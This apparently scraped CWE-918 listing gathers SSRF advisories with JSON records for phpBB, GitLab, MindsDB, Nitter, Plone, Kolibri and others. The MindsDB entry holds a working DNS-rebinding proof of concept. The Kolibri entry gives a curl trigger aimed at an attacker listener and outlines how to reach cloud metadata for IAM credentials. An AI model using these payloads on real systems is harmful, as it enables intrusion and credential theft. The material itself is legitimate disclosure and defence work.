CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4708 vulnerabilities reference this CWE, most recent first.
GHSA-4HX9-P925-QCV7
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-24 17:45Server side request forgery (SSRF) in phpBB before 3.2.6 allows checking for the existence of files and services on the local network of the host through the remote avatar upload function.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpbb/phpbb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11767"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:45:12Z",
"nvd_published_at": "2019-05-05T06:29:00Z",
"severity": "MODERATE"
},
"details": "Server side request forgery (SSRF) in phpBB before 3.2.6 allows checking for the existence of files and services on the local network of the host through the remote avatar upload function.",
"id": "GHSA-4hx9-p925-qcv7",
"modified": "2024-04-24T17:45:12Z",
"published": "2022-05-24T16:45:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11767"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpbb/phpbb-app"
},
{
"type": "WEB",
"url": "https://www.phpbb.com/community/viewtopic.php?f=14\u0026t=2509941"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpBB Server side request forgery (SSRF)"
}
GHSA-4J42-WQ8Q-C389
Vulnerability from github – Published: 2022-05-14 01:09 – Updated: 2022-05-14 01:09An issue was discovered in GitLab Community and Enterprise Edition before 11.6.10, 11.7.x before 11.7.6, and 11.8.x before 11.8.1. It allows SSRF.
{
"affected": [],
"aliases": [
"CVE-2019-9174"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-17T17:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in GitLab Community and Enterprise Edition before 11.6.10, 11.7.x before 11.7.6, and 11.8.x before 11.8.1. It allows SSRF.",
"id": "GHSA-4j42-wq8q-c389",
"modified": "2022-05-14T01:09:25Z",
"published": "2022-05-14T01:09:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9174"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2019/03/04/security-release-gitlab-11-dot-8-dot-1-released"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/blog/categories/releases"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/55468"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4JCV-VP96-94XR
Vulnerability from github – Published: 2024-09-05 16:37 – Updated: 2024-11-18 16:27Summary
DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:
def is_private_url(url: str):
"""
Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private
As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.
PoC
from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests
app = Flask(__name__)
def is_private_url(url: str):
"""
Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
raise Exception(f"Private IP address found for {url}")
@app.route("/", methods=["GET"])
def index():
return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"
@app.route("/check_private_url", methods=["GET"])
def check_private_url():
url = request.args.get("url")
if not url:
return jsonify({"error": 'Missing "url" parameter'}), 400
try:
is_private_url(url)
response = requests.get(url)
return jsonify(
{
"url": url,
"is_private": False,
"text": response.text,
"status_code": response.status_code,
}
)
except Exception as e:
return jsonify({"url": url, "is_private": True, "error": str(e)})
if __name__ == "__main__":
app.run(debug=True)
After running the poc.py with flask installed, consider visiting the following URLs:
- http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get
is_private: falseand the GET request would be issued to the www.Example.com website. - http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get
is_private: true - http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP
190.119.176.214and then DNS rebind into the network location127.0.0.1:8667.
I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:
{
"is_private": false,
"status_code": 200,
"text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
"url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}
Impact
- Bypass the SSRF protection on the whole website with DNS Rebinding.
- DoS too.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mindsdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "23.12.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-24759"
],
"database_specific": {
"cwe_ids": [
"CWE-350",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-05T16:37:56Z",
"nvd_published_at": "2024-09-05T17:15:12Z",
"severity": "HIGH"
},
"details": "### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n \"\"\"\n Raises exception if url is private\n\n :param url: url to check\n \"\"\"\n\n hostname = urlparse(url).hostname\n if not hostname:\n # Unable to find hostname in url\n return True\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n url = request.args.get(\"url\")\n\n if not url:\n return jsonify({\"error\": \u0027Missing \"url\" parameter\u0027}), 400\n\n try:\n is_private_url(url)\n response = requests.get(url)\n\n return jsonify(\n {\n \"url\": url,\n \"is_private\": False,\n \"text\": response.text,\n \"status_code\": response.status_code,\n }\n )\n except Exception as e:\n return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n \"is_private\": false,\n \"status_code\": 200,\n \"text\": \"\u003cpre\u003e\\n\u003ca href=\\\"poc.py\\\"\u003epoc.py\u003c/a\u003e\\n\u003c/pre\u003e\\n\",\n \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n",
"id": "GHSA-4jcv-vp96-94xr",
"modified": "2024-11-18T16:27:10Z",
"published": "2024-09-05T16:37:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24759"
},
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b"
},
{
"type": "PACKAGE",
"url": "https://github.com/mindsdb/mindsdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding"
}
GHSA-4JG5-6FPG-J2HG
Vulnerability from github – Published: 2026-04-30 00:31 – Updated: 2026-04-30 00:31A vulnerability was found in Algovate xhs-mcp 0.8.11. This affects the function xhs_publish_content of the file src/server/mcp.server.ts of the component MCP Interface. Performing a manipulation of the argument media_paths results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7417"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-29T22:16:22Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Algovate xhs-mcp 0.8.11. This affects the function xhs_publish_content of the file src/server/mcp.server.ts of the component MCP Interface. Performing a manipulation of the argument media_paths results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-4jg5-6fpg-j2hg",
"modified": "2026-04-30T00:31:21Z",
"published": "2026-04-30T00:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7417"
},
{
"type": "WEB",
"url": "https://github.com/Algovate/xhs-mcp/issues/6"
},
{
"type": "WEB",
"url": "https://github.com/BruceJqs/public_exp/issues/21"
},
{
"type": "WEB",
"url": "https://github.com/Algovate/xhs-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/803991"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360154"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360154/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4JXF-PWGR-9M4J
Vulnerability from github – Published: 2026-02-25 06:31 – Updated: 2026-02-25 06:31A vulnerability has been found in SourceCodester Website Link Extractor 1.0. This vulnerability affects the function file_get_contents of the component URL Handler. The manipulation leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-3163"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-25T06:16:26Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in SourceCodester Website Link Extractor 1.0. This vulnerability affects the function file_get_contents of the component URL Handler. The manipulation leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-4jxf-pwgr-9m4j",
"modified": "2026-02-25T06:31:15Z",
"published": "2026-02-25T06:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3163"
},
{
"type": "WEB",
"url": "https://medium.com/@hemantrajbhati5555/ssrf-vulnerability-in-sourcecodester-website-link-extractor-v1-0-5df6bb708f5e"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.347670"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.347670"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.758932"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4M2J-2X3W-GG93
Vulnerability from github – Published: 2026-06-29 18:31 – Updated: 2026-06-29 18:31Nitter's /video media proxy endpoint fails to validate target URLs against Twitter/X domains and uses a hardcoded default HMAC key, allowing unauthenticated attackers to compute valid HMACs for arbitrary URLs. Attackers can retrieve HTTP responses from any host reachable by the server, including cloud metadata services and internal network resources.
{
"affected": [],
"aliases": [
"CVE-2026-56285"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T18:16:38Z",
"severity": "HIGH"
},
"details": "Nitter\u0027s /video media proxy endpoint fails to validate target URLs against Twitter/X domains and uses a hardcoded default HMAC key, allowing unauthenticated attackers to compute valid HMACs for arbitrary URLs. Attackers can retrieve HTTP responses from any host reachable by the server, including cloud metadata services and internal network resources.",
"id": "GHSA-4m2j-2x3w-gg93",
"modified": "2026-06-29T18:31:55Z",
"published": "2026-06-29T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56285"
},
{
"type": "WEB",
"url": "https://github.com/zedeus/nitter/issues/1411"
},
{
"type": "WEB",
"url": "https://github.com/zedeus/nitter/commit/44b2f096f67da2cc257a0e262a94a7ae79e95d47"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nitter-server-side-request-forgery-in-video-media-proxy-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4MG4-WVMX-5332
Vulnerability from github – Published: 2021-06-15 16:11 – Updated: 2024-10-18 21:49Plone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Plone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-33510"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-27T21:39:48Z",
"nvd_published_at": "2021-05-21T22:15:00Z",
"severity": "MODERATE"
},
"details": "Plone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.",
"id": "GHSA-4mg4-wvmx-5332",
"modified": "2024-10-18T21:49:19Z",
"published": "2021-06-15T16:11:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33510"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4mg4-wvmx-5332"
},
{
"type": "PACKAGE",
"url": "https://github.com/plone/Plone"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2021-82.yaml"
},
{
"type": "WEB",
"url": "https://plone.org/security/hotfix/20210518/server-side-request-forgery-via-event-ical-url"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/22/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Server-Side Request Forgery in Plone"
}
GHSA-4MJ2-2X8X-85XV
Vulnerability from github – Published: 2026-06-01 18:31 – Updated: 2026-06-01 18:31A vulnerability was determined in indrasishbanerjee aem-mcp-server up to b5f833aef9b5dfd17a5991b3b18a8a11edbdc583. This impacts the function getAssetMetadata of the file src/mcp-server.ts of the component Axios Request Flow. Executing a manipulation of the argument assetPath can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-10274"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T17:16:44Z",
"severity": "LOW"
},
"details": "A vulnerability was determined in indrasishbanerjee aem-mcp-server up to b5f833aef9b5dfd17a5991b3b18a8a11edbdc583. This impacts the function getAssetMetadata of the file src/mcp-server.ts of the component Axios Request Flow. Executing a manipulation of the argument assetPath can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-4mj2-2x8x-85xv",
"modified": "2026-06-01T18:31:50Z",
"published": "2026-06-01T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10274"
},
{
"type": "WEB",
"url": "https://github.com/indrasishbanerjee/aem-mcp-server/issues/3"
},
{
"type": "WEB",
"url": "https://github.com/indrasishbanerjee/aem-mcp-server"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10274"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/825401"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367553"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367553/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4MJ9-PF4R-CQRC
Vulnerability from github – Published: 2026-06-11 17:10 – Updated: 2026-06-11 17:10Summary
Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.
Affected endpoints
Reported:
GET /api/auth/remotefacilityuser→RemoteFacilityUserViewset(kolibri/core/auth/api.py:1570). No authentication required.POST /api/auth/remotefacilityauthenticateduserinfo→RemoteFacilityUserAuthenticatedViewset(kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.
Found during remediation:
POST /api/public/setupwizard/loddata→ setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.GET /api/public/networklocation/<id>/facilities/→NetworkLocationFacilitiesView(kolibri/core/discovery/api.py). Authenticated but with the sameResponse(remote_payload)pattern.
Root cause
Two compounding issues:
- Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (
Response(response.json()),Response(facility_info["users"]), etc.). - No restriction on the remote target —
baseurlwas validated only byURLValidator(schemes=["http", "https"]).NetworkClient.build_for_address()would connect to any host with a valid Kolibri-shaped/api/public/info/response, andrequestsfollowed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.
Two reflection vectors
GET vector (RemoteFacilityUserViewset):
The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.
POST vector (RemoteFacilityUserAuthenticatedViewset):
get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.
Reproduction
The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:
- Responds to
GET /api/public/info/with a valid Kolibri info payload (soNetworkClient.build_for_address()succeeds). - GET vector: responds to
GET /api/public/facilitysearchuser/with a 302 redirect to the target URL. The redirected response body is reflected viaResponse(response.json()). - POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.
A working PoC has been retained internally and is not published with this advisory.
Demonstrated impact (pre-fix)
- Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
- Reflected data exfiltration for any HTTP endpoint that responded to a plain
GETwith JSON and no special request headers. - Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (
/metadata/v1.json) — reachable - GCP, Azure, AWS IMDSv2 — not reachable via this vector (require
Metadata-Flavor/Metadata/ token headers that the attacker could not inject) - Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.
Not demonstrated
The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.
Mitigation
Four layers of defence:
- Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
- Authentication. The previously-open
RemoteFacilityUser*endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows). - Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
- Peer allowlist. Endpoints that accept a caller-supplied
baseurlresolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.
Credit
Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.
class RemoteFacilityUserViewset(views.APIView): # No permission_classes → AllowAny
def get(self, request):
baseurl = request.query_params.get("baseurl", "")
validator(baseurl) # Only checks URL format (http/https scheme + valid hostname)
client = NetworkClient.build_for_address(baseurl)
response = client.get(url, params={"facility": facility, "search": username})
No `permission_classes` attribute is defined, and `DEFAULT_PERMISSION_CLASSES` is not set in the DRF configuration, so the endpoint defaults to `AllowAny` , accepting requests with zero authentication.
Similarly, `RemoteFacilityUserAuthenticatedViewset` (line ~1577, POST endpoint) also has no `permission_classes`, though it currently checks permissions via a different mechanism. The initial `build_for_address()` call still fires before that check.
**2. Weak URL validation**
File: `kolibri/utils/urls.py`, line 1-7
from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])
The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:
- RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Loopback addresses (127.0.0.0/8, ::1)
- Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
- IPv6 equivalents of any of the above
### PoC
**Prerequisites**: A listener on a host reachable by the Kolibri server (e.g., `nc -lvp 1337`) the listener can be local or remote.
Against a local Docker deployment (validated against Kolibri 0.19.3):
# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"
The Kolibri server makes an outbound HTTP request to the attacker's listener:
GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Testers have also confirmed the issue against live deployments of Kolibri.
### Impact
Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed
Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle
Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata
Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker
Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.19.3"
},
"package": {
"ecosystem": "PyPI",
"name": "kolibri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48053"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T17:10:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nSeveral Kolibri API endpoints accept an unvalidated `baseurl` parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the `RemoteFacilityUser*` viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.\n\n## Affected endpoints\n\nReported:\n\n- `GET /api/auth/remotefacilityuser` \u2192 `RemoteFacilityUserViewset` (`kolibri/core/auth/api.py:1570`). No authentication required.\n- `POST /api/auth/remotefacilityauthenticateduserinfo` \u2192 `RemoteFacilityUserAuthenticatedViewset` (`kolibri/core/auth/api.py:1594`). Authentication is checked against the *remote* server rather than the local Kolibri.\n\nFound during remediation:\n\n- `POST /api/public/setupwizard/loddata` \u2192 setup wizard\u0027s remote-signup proxy (`kolibri/plugins/setup_wizard/api.py`). Reachable on unprovisioned devices.\n- `GET /api/public/networklocation/\u003cid\u003e/facilities/` \u2192 `NetworkLocationFacilitiesView` (`kolibri/core/discovery/api.py`). Authenticated but with the same `Response(remote_payload)` pattern.\n\n## Root cause\n\nTwo compounding issues:\n\n1. **Response reflection** \u2014 these endpoints returned the remote server\u0027s JSON body more or less verbatim to the caller (`Response(response.json())`, `Response(facility_info[\"users\"])`, etc.).\n2. **No restriction on the remote target** \u2014 `baseurl` was validated only by `URLValidator(schemes=[\"http\", \"https\"])`. `NetworkClient.build_for_address()` would connect to any host with a valid Kolibri-shaped `/api/public/info/` response, and `requests` followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.\n\n## Two reflection vectors\n\n**GET vector (`RemoteFacilityUserViewset`):**\nThe viewset fetched `\u003cbaseurl\u003e/api/public/facilitysearchuser/` and returned `Response(response.json())`. An attacker-controlled `baseurl` returned a 302 to an arbitrary internal URL; `requests` followed the redirect, and the redirected response body was returned to the attacker.\n\n**POST vector (`RemoteFacilityUserAuthenticatedViewset`):**\n`get_remote_users_info()` fetched `\u003cbaseurl\u003e/api/public/facilityuser/` with Basic Auth and the viewset returned `Response(facility_info[\"users\"])`. A malicious `baseurl` returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and `NetworkLocationFacilitiesView` endpoints had the same shape on different remote URLs.\n\n## Reproduction\n\nThe vulnerability can be reproduced by pointing `baseurl` at an attacker-controlled HTTP server that:\n\n1. Responds to `GET /api/public/info/` with a valid Kolibri info payload (so `NetworkClient.build_for_address()` succeeds).\n2. **GET vector:** responds to `GET /api/public/facilitysearchuser/` with a 